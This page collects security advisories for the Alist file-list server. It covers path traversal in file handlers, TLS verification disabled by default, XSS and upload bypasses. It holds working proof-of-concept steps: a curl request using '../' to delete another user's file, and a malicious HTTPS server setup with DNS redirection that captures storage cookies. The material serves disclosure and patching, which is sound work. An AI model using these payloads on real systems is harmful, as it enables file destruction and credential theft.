github.com/alist-org/alist/v3 known bugs

### Summary The application contains a Path Traversal vulnerability (CWE-22) in multiple file operation handlers. An authenticated attacker can bypass directory-level authorisation by injecting traversal sequences into filename components, enabling unauthorised file removal, movement and copying across user boundaries within the same storage mount. ### Details The application contains a Path Traversal vulnerability (CWE-22) in multiple file operation handlers ([server/handles/fsmanage.go](https://github.com/AlistGo/alist/blob/main/server/handles/fsmanage.go), [server/handles/fsbatch.go](https://github.com/AlistGo/alist/blob/main/server/handles/fsbatch.go), etc.). Filename components in `req.Names`, `renameObject.SrcName`, and `renameObject.NewName` are directly concatenated with validated directories using `stdpath.Join()` or `fmt.Sprintf()`. This allows ".." sequences to bypass path restrictions, enabling users to access other users' files within the same storage mount and perform unauthorized actions such as deletion, renaming, or copying of files. [FsRemove](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/server/handles/fsmanage.go#L253-L254): ~~~go func FsRemove(c *gin.Context) { // ... for _, name := range req.Names { err := fs.Remove(c, stdpath.Join(reqDir, name)) ~~~ [FsCopy](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/server/handles/fsmanage.go#L165-L166): ~~~go func FsCopy(c *gin.Context) { // ... for i, name := range req.Names { t, err := fs.Copy(c, stdpath.Join(srcDir, name), dstDir, len(req.Names) > i+1) ~~~ [FsBatchRename](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/server/handles/fsbatch.go#L188-L189): ~~~go func FsBatchRename(c *gin.Context) { // ... for _, renameObject := range req.RenameObjects { filePath := fmt.Sprintf("%s/%s", reqPath, renameObject.SrcName) // Vulnerable concatenation ✗ fs.Rename(c, filePath, renameObject.NewName) } } ~~~ #### PoC 1. Environment setup: - Storage mount '/shared' configured with multiple users. - Alice has base path '/shared/alice'. - Admin has base path '/shared/admin' with private files. - Both users operate within the same storage mount. 2. Craft Malicious Request: Alice sends a POST request to _/api/fs/remove_ containing a filename with '../' in it. ~~~bash curl -X POST -H "Content-Type: application/json" -d '{"dir":"/","names":["../admin/private.txt"]}' http://localhost:5244/api/fs/remove ~~~ Admin's file is deleted without Alice having authorisation for Admin's directory. [Video](https://github.com/user-attachments/assets/5789fa36-c82c-4781-a5f7-145f54689ada) ### Impact This vulnerability enables privilege escalation within shared storage environments. An authenticated attacker with basic file operation permissions (remove/rename/copy/move) can bypass directory-level authorisation controls when multiple users exist within the same storage mount. #### Attack Requirements: 1. Authenticated user account (not guest) 2. Basic file operation permissions 3. Multi-user environment within the same storage mount #### Consequences: 1. Unauthorised data access: Read, copy, and exfiltrate files from other users' directories 2. Data destruction: Delete or rename files belonging to other users 3. Access control bypass: Circumvent directory isolation mechanisms 4. Integrity violation: Modify or move files across user boundaries ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine If there are questions regarding the vulnerability details, please feel free to reach out for further discussion at [email protected].

alist <=3.16.3 is vulnerable to Incorrect Access Control. Low privilege accounts can upload any file.

Alist v3.4.0 is vulnerable to File Upload. A user with only file upload permission can upload any file to any folder (even a password protected one). Version 3.5.1 contains a patch.

Alist vulnerable to Path Traversal in multiple file operation handlers in github.com/alist-org/alist

Alist has Insecure TLS Config in github.com/alist-org/alist

Alist reflected Cross-Site Scripting vulnerability in github.com/alist-org/alist

Alist vulnerable to Path Traversal in github.com/alist-org/alist

AList vulnerable to Improper Preservation of Permissions in github.com/alist-org/alist

Alist v3.5.1 is vulnerable to Cross Site Scripting (XSS) via the bulletin board.

AList is a file list program that supports multiple storages. AList contains a reflected cross-site scripting vulnerability in helper.go. The endpoint /i/:link_name takes in a user-provided value and reflects it back in the response. The endpoint returns an application/xml response, opening it up to HTML tags via XHTML and thus leading to a XSS vulnerability. This vulnerability is fixed in 3.29.0.

In versions of Alist prior to 3.6.0, a user with only file upload permission can bypass the base path restriction by using '... /' to bypass the base path restriction and upload files to an arbitrary path.

### Summary The application disables TLS certificate verification by default for all outgoing storage driver communications, making the system vulnerable to Man-in-the-Middle (MitM) attacks. This enables the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data. ### Details Certificate verification is disabled by default for all storage driver communications. The `TlsInsecureSkipVerify` setting is default to true in the `DefaultConfig()` function in [internal/conf/config.go](https://github.com/AlistGo/alist/blob/b4d9beb49cba399842a54fcc33bc95a4a09b7bd4/internal/conf/config.go#L159). ~~~go func DefaultConfig() *Config { // ... TlsInsecureSkipVerify: true, // ... } ~~~ This vulnerability enables Man-in-the-Middle (MitM) attacks by disabling TLS certificate verification, allowing attackers to intercept and manipulate all storage communications. Attackers can exploit this through network-level attacks like ARP spoofing, rogue Wi-Fi access points, or compromised internal network equipment to redirect traffic to malicious endpoints. Since certificate validation is skipped, the system will unknowingly establish encrypted connections with attacker-controlled servers, enabling full decryption, data theft, and manipulation of all storage operations without triggering any security warnings. #### PoC The /etc/hosts file was modified to simulate DNS hijacking and redirect www.weiyun.com to a malicious TLS-enabled HTTP server. The purpose of this Proof of Concept is to demonstrate that the Alist server will establish communication with a malicious server due to disabled certificate verification. This allows interception and theft of authentication cookies used for communicating with other storage providers. [Video](https://github.com/user-attachments/assets/5b042db0-d830-41d9-9cec-d2ba677ac53d) ##### Setup a malicious https server: ssl.conf: ~~~ LoadModule ssl_module modules/mod_ssl.so LoadModule log_config_module modules/mod_log_config.so Listen 443 LogFormat "%h %l %u %t \"%r\" %>s %b Host:%{Host}i User-Agent:%{User-Agent}i Referer:%{Referer}i Accept:%{Accept}i Cookie:%{Cookie}i" headers CustomLog "/usr/local/apache2/logs/headers.log" headers <VirtualHost _default_:443> DocumentRoot "/usr/local/apache2/htdocs" ServerName localhost SSLEngine on SSLCertificateFile "/usr/local/apache2/conf/server.crt" SSLCertificateKeyFile "/usr/local/apache2/conf/server.key" ErrorLog "/usr/local/apache2/logs/ssl_error.log" <Directory "/usr/local/apache2/htdocs"> Options Indexes FollowSymLinks AllowOverride None Require all granted </Directory> </VirtualHost> ~~~ Dockerfile: ~~~ FROM httpd:2.4 # Copy SSL config COPY ssl.conf /usr/local/apache2/conf/extra/ssl.conf # Include SSL config in main httpd.conf RUN echo "Include conf/extra/ssl.conf" >> /usr/local/apache2/conf/httpd.conf # Copy certs COPY certs/server.crt /usr/local/apache2/conf/server.crt COPY certs/server.key /usr/local/apache2/conf/server.key ~~~ Scripts to run https server: ~~~bash mkdir certs openssl req -x509 -nodes -days 365 \ -newkey rsa:2048 \ -keyout certs/server.key \ -out certs/server.crt docker build -t httpd-ssl . docker run -dit --name my-https-server httpd-ssl ~~~ ##### Run alist ~~~bash docker run -d --restart=unless-stopped -v /etc/alist:/opt/alist/data -p 5244:5244 -e PUID=0 -e PGID=0 -e UMASK=022 --name="alist" alist666/alist:latest ~~~ Simulate DNS hijacking: Modify container's /etc/hosts to redirect www.weiyun.com to malicious server ~~~ <IP of HTTPS Server> www.weiyun.com ~~~ In the front end, add a weiyun storage and inspect log on tls server: ~~~ root@f6d0f5bebe60:/usr/local/apache2# cat /usr/local/apache2/logs/headers.log 172.17.0.3 - - [30/Oct/2025:03:52:58 +0000] "GET /disk HTTP/1.1" 404 196 Host:www.weiyun.com User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Referer:- Accept:- Cookie:WhatEverSecret= ~~~ Note that the cookie is in the log. ### Impact This misconfiguration allows attackers to perform man in the middle attack, which potentially leads to the complete decryption, theft, and manipulation of all data transmitted during storage operations, severely compromising the confidentiality and integrity of user data. This vulnerability affects all alist deployment. ### Credit This vulnerability was discovered by: - XlabAI Team of Tencent Xuanwu Lab - Atuin Automated Vulnerability Discovery Engine If there are any questions regarding the vulnerability details, please feel free to reach out for further discussion at [email protected].